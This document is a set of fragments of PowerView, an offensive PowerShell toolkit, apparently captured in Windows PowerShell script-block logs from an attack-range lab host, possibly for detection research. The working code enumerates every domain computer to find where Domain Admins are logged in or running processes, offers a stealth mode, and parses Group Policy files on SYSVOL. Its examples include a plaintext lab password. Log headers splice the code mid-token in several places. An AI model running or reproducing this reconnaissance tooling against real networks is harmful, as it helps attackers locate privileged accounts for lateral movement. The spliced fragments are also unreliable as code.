Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBob853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110302Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3341Function] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearchb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110294Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2541 [Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
